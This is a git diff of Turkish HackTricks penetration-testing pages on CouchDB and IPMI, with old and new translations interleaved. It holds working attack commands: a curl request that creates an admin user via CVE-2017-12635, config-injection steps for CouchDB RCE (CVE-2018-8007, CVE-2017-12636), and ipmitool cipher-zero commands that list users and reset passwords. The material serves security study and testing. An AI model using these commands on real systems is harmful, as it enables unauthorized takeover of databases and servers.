Bir veritabanındaki bir belgenin içeriğini oku:
|
||||
```bash
|
||||
curl -X GET http://IP:5984/{dbname}/{id}
|
||||
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
|
||||
|
@ -165,36 +120,36 @@ curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
|
|||
```
|
||||
## CouchDB Yetki Yükseltme [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635)
|
||||
|
||||
Erlang ve JavaScript JSON ayrıştırıcıları arasındaki farklardan dolayı aşağıdaki istekle `hacktricks:hacktricks` kimlik bilgilerine sahip bir yönetici kullanıcı **oluşturabilirsiniz**:
|
||||
Erlang ve JavaScript JSON ayrıştırıcıları arasındaki farklar sayesinde, aşağıdaki isteği kullanarak `hacktricks:hacktricks` kimlik bilgileriyle **bir yönetici kullanıcı** oluşturabilirsiniz:
|
||||
```bash
|
||||
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
|
||||
```
|
||||
[**Bu zafiyet hakkında daha fazla bilgi burada**](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html).
|
||||
[**Bu güvenlik açığı hakkında daha fazla bilgi burada**](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html).
|
||||
|
||||
## CouchDB Uzaktan Kod Çalıştırma (RCE)
|
||||
## CouchDB RCE
|
||||
|
||||
### **Erlang Çerez Güvenliği Genel Bakışı**
|
||||
### **Erlang Cookie Güvenlik Genel Görünümü**
|
||||
|
||||
Örnek [buradan](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
|
||||
|
||||
CouchDB belgelerinde, özellikle küme kurulumuyla ilgili bölümde ([link](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), CouchDB'nin küme modunda kullanılan bağlantı noktaları tartışılmaktadır. Standalone modunda olduğu gibi, port `5984` kullanıldığı belirtilmektedir. Ek olarak, port `5986` düğme yerel API'ları içindir ve önemli olarak, Erlang, Erlang kümesi içinde düğme iletişimini kolaylaştıran Erlang Port Haritalayıcı Hizmeti (EPMD) için TCP port `4369` gerektirir. Bu yapı, her düğümün diğer her düğümle bağlantılı olduğu bir ağ oluşturur.
|
||||
CouchDB belgelerinde, özellikle küme kurulumu ile ilgili bölümde ([link](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), CouchDB'nin küme modunda kullandığı portlar tartışılmaktadır. Tekil modda olduğu gibi, port `5984`'ün kullanıldığı belirtilmiştir. Ayrıca, port `5986` düğüm yerel API'leri içindir ve önemli olarak, Erlang, Erlang Port Mapper Daemon (EPMD) için TCP port `4369` gerektirir; bu, bir Erlang kümesi içinde düğüm iletişimini kolaylaştırır. Bu yapı, her düğümün diğer tüm düğümlerle bağlantılı olduğu bir ağ oluşturur.
|
||||
|
||||
Port `4369` ile ilgili önemli bir güvenlik uyarısı vurgulanmaktadır. Eğer bu port İnternet üzerinden veya güvenilmeyen bir ağ üzerinden erişilebilir hale getirilirse, sistem güvenliği benzersiz bir tanımlayıcı olan "çerez"e ağır şekilde bağımlı hale gelir. Bu çerez bir güvenlik önlemi olarak işlev görür. Örneğin, bir işlem listesinde "monster" adında bir çerez gözlemlenebilir ve bu çerez, sistem güvenlik çerçevesindeki işlevsel rolünü gösterir.
|
||||
Port `4369` ile ilgili kritik bir güvenlik uyarısı vurgulanmaktadır. Bu port, İnternet veya herhangi bir güvenilmeyen ağ üzerinden erişilebilir hale getirilirse, sistemin güvenliği "cookie" olarak bilinen benzersiz bir tanıtıcıya büyük ölçüde bağlıdır. Bu cookie bir koruma işlevi görür. Örneğin, belirli bir işlem listesinde "monster" adlı cookie gözlemlenebilir; bu, sistemin güvenlik çerçevesindeki operasyonel rolünü gösterir.
|
||||
```
|
||||
www-data@canape:/$ ps aux | grep couchdb
|
||||
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
|
||||
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
|
||||
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
|
||||
```
|
||||
Bu "cookie"nin Erlang sistemleri bağlamında Uzaktan Kod Yürütme (RCE) için nasıl istismar edilebileceğini anlamak isteyenler için, ilgili bir bölüm daha fazla okuma için mevcuttur. Bu bölümde, Erlang çerezlerini yetkisiz şekilde kullanarak sistemler üzerinde kontrol elde etmek için metodolojiler ayrıntılı olarak açıklanmaktadır. **[Erlang çerezlerini RCE için kötüye kullanma konusundaki ayrıntılı kılavuzu buradan keşfedebilirsiniz](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce)**.
|
||||
Uzaktan Kod Çalıştırma (RCE) bağlamında bu "çerez"in nasıl istismar edilebileceğini anlamakla ilgilenenler için, daha fazla okuma için özel bir bölüm mevcuttur. Bu bölüm, sistemler üzerinde kontrol sağlamak için Erlang çerezlerini yetkisiz bir şekilde kullanma metodolojilerini detaylandırmaktadır. **[Erlang çerezlerini RCE için istismar etme üzerine detaylı kılavuzu buradan keşfedebilirsiniz](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce)**.
|
||||
|
||||
### **CVE-2018-8007'nin local.ini Dosyasının Değiştirilmesiyle Sömürülmesi**
|
||||
### **local.ini'nin Değiştirilmesi ile CVE-2018-8007'nin İstismarı**
|
||||
|
||||
Örnek [buradan](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
|
||||
[Buradan örnek](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
|
||||
|
||||
Apache CouchDB'yi etkileyen, yakın zamanda açıklanan CVE-2018-8007 adlı bir zafiyet incelendi ve sömürünün `local.ini` dosyasına yazma izinleri gerektirdiği ortaya çıktı. İlk hedef sistem için doğrudan uygulanamamasına rağmen, keşif amaçlarıyla `local.ini` dosyasına yazma erişimi sağlamak için değişiklikler yapıldı. Aşağıda, süreci gösteren ayrıntılı adımlar ve kod örnekleri sunulmaktadır.
|
||||
Apache CouchDB'yi etkileyen, yakın zamanda açıklanan bir güvenlik açığı olan CVE-2018-8007 incelendi ve istismar için `local.ini` dosyasına yazma izinlerinin gerektiği ortaya çıktı. Güvenlik kısıtlamaları nedeniyle başlangıçtaki hedef sisteme doğrudan uygulanamasa da, keşif amaçları için `local.ini` dosyasına yazma erişimi sağlamak üzere değişiklikler yapıldı. Aşağıda, süreci gösteren detaylı adımlar ve kod örnekleri sağlanmıştır.
|
||||
|
||||
İlk olarak, çevre, `local.ini` dosyasının yazılabilir olduğundan emin olunarak hazırlanır ve izinler listelenerek doğrulanır:
|
||||
Öncelikle, `local.ini` dosyasının yazılabilir olduğundan emin olarak ortam hazırlanır ve izinler listelenerek doğrulanır:
|
||||
```bash
|
||||
root@canape:/home/homer/etc# ls -l
|
||||
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
|
||||
|
@ -202,11 +157,11 @@ root@canape:/home/homer/etc# ls -l
|
|||
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
|
||||
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
|
||||
```
|
||||
Zafiyeti sömürmek için, `local.ini` içindeki `cors/origins` yapılandırmasına hedeflenen bir curl komutu çalıştırılır. Bu, `[os_daemons]` bölümü altında yeni bir köken enjekte eder ve keyfi kodu çalıştırmayı amaçlar:
|
||||
Vulnerabiliteyi istismar etmek için, `local.ini` içindeki `cors/origins` yapılandırmasını hedef alan bir curl komutu çalıştırılır. Bu, `[os_daemons]` bölümünde rastgele kod çalıştırmayı amaçlayan yeni bir köken ve ek komutlar enjekte eder:
|
||||
```bash
|
||||
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
|
||||
```
|
||||
Sonraki doğrulama, değişiklikleri vurgulamak için `local.ini` içine enjekte edilen yapılandırmayı yedekle karşılaştırır:
|
||||
Sonraki doğrulama, `local.ini` içindeki enjekte edilmiş yapılandırmayı gösterir ve değişiklikleri vurgulamak için bir yedekle karşılaştırır:
|
||||
```bash
|
||||
root@canape:/home/homer/etc# diff local.ini local.ini.bk
|
||||
119,124d118
|
||||
|
@ -215,57 +170,57 @@ root@canape:/home/homer/etc# diff local.ini local.ini.bk
|
|||
< [os_daemons]
|
||||
< test_daemon = /usr/bin/touch /tmp/0xdf
|
||||
```
|
||||
Başlangıçta, beklenen dosya (`/tmp/0xdf`) mevcut değil, bu da enjekte edilen komutun henüz çalıştırılmadığını göstermektedir. Daha fazla araştırma, CouchDB ile ilgili işlemlerin çalıştığını ortaya koyar, bunlardan biri enjekte edilen komutu potansiyel olarak çalıştırabilir:
|
||||
Başlangıçta, beklenen dosya (`/tmp/0xdf`) mevcut değildir, bu da enjekte edilen komutun henüz çalıştırılmadığını gösterir. Daha fazla araştırma, CouchDB ile ilgili süreçlerin çalıştığını ve bunlar arasında enjekte edilen komutu potansiyel olarak çalıştırabilecek birinin bulunduğunu ortaya koyar:
|
||||
```bash
|
||||
root@canape:/home/homer/bin# ps aux | grep couch
|
||||
```
|
||||
Belirlenen CouchDB işlemini sonlandırarak ve sistemin otomatik olarak yeniden başlatılmasına izin vererek, enjekte edilen komutun yürütülmesi tetiklenir ve önceden eksik olan dosyanın varlığıyla doğrulanır:
|
||||
Belirlenen CouchDB sürecini sonlandırarak ve sistemin bunu otomatik olarak yeniden başlatmasına izin vererek, enjekte edilen komutun yürütülmesi tetiklenir; bu, daha önce kaybolan dosyanın varlığıyla doğrulanır:
|
||||
```bash
|
||||
root@canape:/home/homer/etc# kill 711
|
||||
root@canape:/home/homer/etc# ls /tmp/0xdf
|
||||
/tmp/0xdf
|
||||
```
|
||||
Bu keşif, özellikle `local.ini` dosyasına yazma erişimi gerekliliği gibi belirli koşullar altında CVE-2018-8007 saldırısının gerçekleştirilebilirliğini doğrulamaktadır. Sağlanan kod örnekleri ve prosedür adımları, kontrol edilen bir ortamda saldırının tekrarlanması için net bir rehber sunmaktadır.
|
||||
Bu keşif, belirli koşullar altında CVE-2018-8007 istismarının uygulanabilirliğini doğrulamaktadır; özellikle `local.ini` dosyasına yazılabilir erişim gereksinimi. Sağlanan kod örnekleri ve prosedürel adımlar, istismarı kontrollü bir ortamda tekrarlamak için net bir rehber sunmaktadır.
|
||||
|
||||
CVE-2018-8007 hakkında daha fazla ayrıntı için mdsec tarafından yayınlanan bildiriye başvurun: [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/).
|
||||
CVE-2018-8007 hakkında daha fazla bilgi için mdsec'in tavsiyesine bakın: [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/).
|
||||
|
||||
### **local.ini Üzerinde Yazma İzinleriyle CVE-2017-12636 Keşfi**
|
||||
### **local.ini Üzerinde Yazma İzinleri ile CVE-2017-12636'yı Keşfetme**
|
||||
|
||||
Örnek [buradan](https://0xdf.gitlab.io/2018/09/15/htb-canape.html) alınmıştır.
|
||||
Örnek [buradan](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
|
||||
|
||||
CVE-2017-12636 olarak bilinen bir zafiyet incelendi, bu zafiyet aracılığıyla CouchDB işlemi üzerinden kod yürütme sağlanmaktadır, ancak belirli yapılandırmaların saldırıyı engelleyebileceği durumlar mevcuttur. İnternette birçok Kanıt-of-Kavram (POC) referansı bulunmasına rağmen, genellikle hedeflenen 1.x sürümünden farklı olarak, zafiyetin CouchDB sürüm 2'de sömürülmesi için ayarlamalar gerekmektedir. İlk adımlar, CouchDB sürümünün doğrulanması ve beklenen sorgu sunucuları yolunun olmadığının onaylanmasıyla ilgilidir:
|
||||
CouchDB süreci aracılığıyla kod yürütülmesine olanak tanıyan CVE-2017-12636 olarak bilinen bir zafiyet incelendi; ancak belirli yapılandırmalar istismarını engelleyebilir. Çevrimiçi olarak mevcut olan çok sayıda Kanıtı Konsept (POC) referansına rağmen, zafiyeti CouchDB sürüm 2'de istismar etmek için ayarlamalar gereklidir; bu, genellikle hedeflenen sürüm 1.x'ten farklıdır. İlk adımlar, CouchDB sürümünü doğrulamayı ve beklenen sorgu sunucuları yolunun yokluğunu onaylamayı içerir:
|
||||
```bash
|
||||
curl http://localhost:5984
|
||||
curl http://0xdf:df@localhost:5984/_config/query_servers/
|
||||
```
|
||||
CouchDB sürüm 2.0'ı desteklemek için yeni bir yol kullanılır:
|
||||
CouchDB sürüm 2.0'ı desteklemek için yeni bir yol kullanılmaktadır:
|
||||
```bash
|
||||
curl 'http://0xdf:df@localhost:5984/_membership'
|
||||
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
|
||||
```
|
||||
Yeni bir sorgu sunucusu eklemek ve çağırmak için yapılan girişimler, aşağıdaki çıktıda belirtilen izinle ilgili hatalarla karşılaştı:
|
||||
Yeni bir sorgu sunucusu ekleme ve çağırma girişimleri, aşağıdaki çıktı ile gösterildiği gibi izinle ilgili hatalarla karşılaştı:
|
||||
```bash
|
||||
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
|
||||
```
|
||||
Daha fazla araştırma, yazılabilir olmayan `local.ini` dosyasında izin sorunları olduğunu ortaya çıkardı. Kök veya homer erişimiyle dosya izinlerini değiştirerek ilerlemek mümkün hale geldi:
|
||||
Daha fazla araştırma, yazılamayan `local.ini` dosyasıyla ilgili izin sorunlarını ortaya çıkardı. Root veya homer erişimi ile dosya izinlerini değiştirerek devam etmek mümkün hale geldi:
|
||||
```bash
|
||||
cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
|
||||
chmod 666 /home/homer/etc/local.ini
|
||||
```
|
||||
Sonraki denemelerde sorgu sunucusunu eklemek başarılı oldu, bunu yanıtta hata mesajı olmamasıyla kanıtlandı. `local.ini` dosyasının başarılı bir şekilde değiştirildiği, dosya karşılaştırmasıyla doğrulandı:
|
||||
Sonraki sorgu sunucusu ekleme girişimleri başarılı oldu, yanıtın hata mesajlarının olmamasıyla gösterildi. `local.ini` dosyasının başarılı bir şekilde değiştirilmesi dosya karşılaştırmasıyla doğrulandı:
|
||||
```bash
|
||||
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
|
||||
```
|
||||
Süreç, bir veritabanı ve bir belge oluşturulmasıyla devam etti, ardından yeni eklenen sorgu sunucusuna eşleme yapan özel bir görünüm aracılığıyla kodun yürütülme girişimi yapıldı:
|
||||
Süreç, bir veritabanı ve bir belge oluşturulmasıyla devam etti, ardından yeni eklenen sorgu sunucusuna özel bir görünüm eşlemesi aracılığıyla kod çalıştırma girişimi yapıldı:
|
||||
```bash
|
||||
curl -X PUT 'http://0xdf:df@localhost:5984/df'
|
||||
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
|
||||
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'
|
||||
```
|
||||
Belirli koşullar altında CVE-2017-12636'nın istismar edilmesi hakkında daha fazla bilgi sağlayan bir **[özet](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0)**, alternatif bir yük sağlar. Bu zafiyetin istismar edilmesi için **yararlı kaynaklar** şunları içerir:
|
||||
A **[özet](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0)** alternatif bir yük ile belirli koşullar altında CVE-2017-12636'nın istismarına dair daha fazla bilgi sunmaktadır. Bu güvenlik açığını istismar etmek için **yararlı kaynaklar** şunlardır:
|
||||
|
||||
- [POC istismar kodu](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py)
|
||||
- [Exploit Database girişi](https://www.exploit-db.com/exploits/44913/)
|
||||
- [İstismar Veritabanı girişi](https://www.exploit-db.com/exploits/44913/)
|
||||
|
||||
## Shodan
|
||||
|
||||
|
@ -276,16 +231,17 @@ Belirli koşullar altında CVE-2017-12636'nın istismar edilmesi hakkında daha
|
|||
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
|
||||
* [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Ekip Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Ekip Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hackleme öğrenin<strong>!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'i desteklemenin diğer yolları:
|
||||
|
||||
* Şirketinizi HackTricks'te **reklamınızı görmek** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -2,43 +2,44 @@
|
|||
|
||||
## 623/UDP/TCP - IPMI
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hackleme becerilerinizi sıfırdan kahraman seviyesine yükseltin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>ile</strong>!</summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek** paylaşın.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Temel Bilgiler
|
||||
|
||||
### **IPMI Genel Bakışı**
|
||||
### **IPMI Genel Bakış**
|
||||
|
||||
**[Intelligent Platform Management Interface (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)**, işletim sisteminden veya güç durumundan bağımsız olarak bilgisayar sistemlerinin uzaktan yönetimi ve izlenmesi için standart bir yaklaşım sunar. Bu teknoloji, sistem yöneticilerinin sistemleri uzaktan yönetmelerini sağlar, hatta kapalı veya tepkisiz olduklarında bile ve özellikle şunlar için kullanışlıdır:
|
||||
**[Akıllı Platform Yönetim Arayüzü (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)**, işletim sisteminden veya güç durumundan bağımsız olarak bilgisayar sistemlerinin uzaktan yönetimi ve izlenmesi için standart bir yaklaşım sunar. Bu teknoloji, sistem yöneticilerinin sistemleri uzaktan yönetmelerine olanak tanır, hatta sistem kapalı veya yanıt vermediğinde bile, ve özellikle şunlar için faydalıdır:
|
||||
|
||||
- Ön-İşletim Sistemi (Pre-OS) yapılandırmaları
|
||||
- OS öncesi önyükleme yapılandırmaları
|
||||
- Güç kapalı yönetimi
|
||||
- Sistem arızalarından kurtarma
|
||||
|
||||
IPMI, sıcaklıkları, voltajları, fan hızlarını ve güç kaynaklarını izleyebilirken, envanter bilgileri sağlayabilir, donanım günlüklerini inceleyebilir ve SNMP aracılığıyla uyarılar gönderebilir. İşletimi için bir güç kaynağı ve bir LAN bağlantısı gereklidir.
|
||||
IPMI, sıcaklıkları, voltajları, fan hızlarını ve güç kaynaklarını izleme yeteneğine sahiptir, ayrıca envanter bilgileri sağlama, donanım günlüklerini gözden geçirme ve SNMP aracılığıyla uyarılar gönderme işlevi de vardır. İşlemi için gerekli olanlar bir güç kaynağı ve bir LAN bağlantısıdır.
|
||||
|
||||
Intel tarafından 1998 yılında tanıtıldığından beri, IPMI birçok satıcı tarafından desteklenmiş ve özellikle 2.0 sürümünün seri üzerinden LAN desteği ile uzaktan yönetim yeteneklerini geliştirmiştir. Ana bileşenler şunları içerir:
|
||||
Intel tarafından 1998'de tanıtıldığından beri, IPMI birçok satıcı tarafından desteklenmektedir ve uzaktan yönetim yeteneklerini artırmaktadır, özellikle 2.0 sürümünün LAN üzerinden seri desteği ile. Ana bileşenler şunlardır:
|
||||
|
||||
- **Baseboard Management Controller (BMC):** IPMI işlemleri için ana mikrodenetleyici.
|
||||
- **İletişim Veriyolları ve Arayüzler:** Dahili ve harici iletişim için, ICMB, IPMB ve yerel ve ağ bağlantıları için çeşitli arayüzler dahil.
|
||||
- **IPMI Belleği:** Günlüklerin ve verilerin depolanması için.
|
||||
- **Ana Kart Yönetim Kontrolcüsü (BMC):** IPMI işlemleri için ana mikro denetleyici.
|
||||
- **İletişim Araçları ve Arayüzleri:** ICMB, IPMB ve yerel ve ağ bağlantıları için çeşitli arayüzler dahil olmak üzere iç ve dış iletişim için.
|
||||
- **IPMI Belleği:** Günlükleri ve verileri depolamak için.
|
||||
|
||||
![https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right](https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right)
|
||||
|
||||
**Varsayılan Port**: 623/UDP/TCP (Genellikle UDP üzerinde çalışır, ancak TCP üzerinde çalışabilir)
|
||||
**Varsayılan Port**: 623/UDP/TCP (Genellikle UDP'de çalışır ama TCP'de de çalışıyor olabilir)
|
||||
|
||||
## Enumerasyon
|
||||
## Sayım
|
||||
|
||||
### Keşif
|
||||
```bash
|
||||
|
@ -46,74 +47,68 @@ nmap -n -p 623 10.0.0./24
|
|||
nmap -n-sU -p 623 10.0.0./24
|
||||
use auxiliary/scanner/ipmi/ipmi_version
|
||||
```
|
||||
**Sürümü** belirlemek için şunları yapabilirsiniz:
|
||||
Sürümü **belirleyebilirsiniz**:
|
||||
```bash
|
||||
use auxiliary/scanner/ipmi/ipmi_version
|
||||
nmap -sU --script ipmi-version -p 623 10.10.10.10
|
||||
```
|
||||
### IPMI Zafiyetleri
|
||||
### IPMI Açıkları
|
||||
|
||||
IPMI 2.0 dünyasında, Dan Farmer tarafından keşfedilen önemli bir güvenlik açığı, **şifre türü 0** üzerinden ortaya çıkarıldı. Bu zafiyet, [Dan Farmer'ın araştırmasında](http://fish2.com/ipmi/cipherzero.html) detaylı olarak belgelenmiştir ve geçerli bir kullanıcı hedef alındığında herhangi bir şifre ile yetkisiz erişime izin verir. Bu zayıflık, HP, Dell ve Supermicro gibi üreticilerin çeşitli BMC'lerinde bulunmuş ve tüm IPMI 2.0 uygulamalarında yaygın bir soruna işaret etmiştir.
|
||||
IPMI 2.0 alanında, Dan Farmer tarafından önemli bir güvenlik açığı keşfedildi ve bu açık **cipher type 0** aracılığıyla ortaya çıktı. Bu açık, [Dan Farmer'ın araştırmasında](http://fish2.com/ipmi/cipherzero.html) ayrıntılı olarak belgelenmiştir ve geçerli bir kullanıcı hedef alındığında, herhangi bir şifre ile yetkisiz erişim sağlar. Bu zayıflık, HP, Dell ve Supermicro gibi üreticilerin çeşitli BMC'lerinde bulundu ve tüm IPMI 2.0 uygulamalarında yaygın bir sorun olduğunu göstermektedir.
|
||||
|
||||
### **Şifre 0 Aracılığıyla IPMI Kimlik Doğrulama Atlama**
|
||||
### **Cipher 0 ile IPMI Kimlik Doğrulama Atlatma**
|
||||
|
||||
Bu zafiyeti tespit etmek için aşağıdaki Metasploit yardımcı tarama aracı kullanılabilir:
|
||||
Bu açığı tespit etmek için aşağıdaki Metasploit yardımcı tarayıcısı kullanılabilir:
|
||||
```bash
|
||||
use auxiliary/scanner/ipmi/ipmi_cipher_zero
|
||||
```
|
||||
Bu açığın istismarı, aşağıda gösterildiği gibi `ipmitool` ile gerçekleştirilebilir ve kullanıcı şifrelerinin listelenmesine ve değiştirilmesine olanak tanır:
|
||||
|
||||
```plaintext
|
||||
$ ipmitool -I lanplus -H <target_IP> -U <username> -P <password> user list
|
||||
$ ipmitool -I lanplus -H <target_IP> -U <username> -P <password> user set password <user_ID> <new_password>
|
||||
```
|
||||
|
||||
Bu komutlar, hedef IP adresine sahip bir sunucuda belirli bir kullanıcının şifresini listelemek ve değiştirmek için kullanılır.
|
||||
Bu açığın istismarı `ipmitool` ile mümkündür, aşağıda gösterildiği gibi, kullanıcı şifrelerinin listelenmesi ve değiştirilmesine olanak tanır:
|
||||
```bash
|
||||
apt-get install ipmitool # Installation command
|
||||
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
|
||||
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password
|
||||
```
|
||||
### **IPMI 2.0 RAKP Kimlik Doğrulama Uzaktan Parola Hash Alımı**
|
||||
### **IPMI 2.0 RAKP Kimlik Doğrulama Uzak Şifre Hashi Alma**
|
||||
|
||||
Bu zafiyet, herhangi bir mevcut kullanıcı adı için tuzlanmış karmaşık parolaların (MD5 ve SHA1) alınmasını sağlar. Bu zafiyeti test etmek için Metasploit bir modül sunar:
|
||||
Bu zafiyet, mevcut herhangi bir kullanıcı adı için tuzlu hashlenmiş şifrelerin (MD5 ve SHA1) alınmasını sağlar. Bu zafiyeti test etmek için Metasploit bir modül sunar:
|
||||
```bash
|
||||
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
|
||||
```
|
||||
### **IPMI Anonim Kimlik Doğrulama**
|
||||
|
||||
Birçok BMC'de varsayılan yapılandırma, boş kullanıcı adı ve şifre dizeleriyle karakterize edilen "anonim" erişime izin verir. Bu yapılandırma, `ipmitool` kullanarak adlandırılmış kullanıcı hesaplarının şifrelerini sıfırlamak için istismar edilebilir:
|
||||
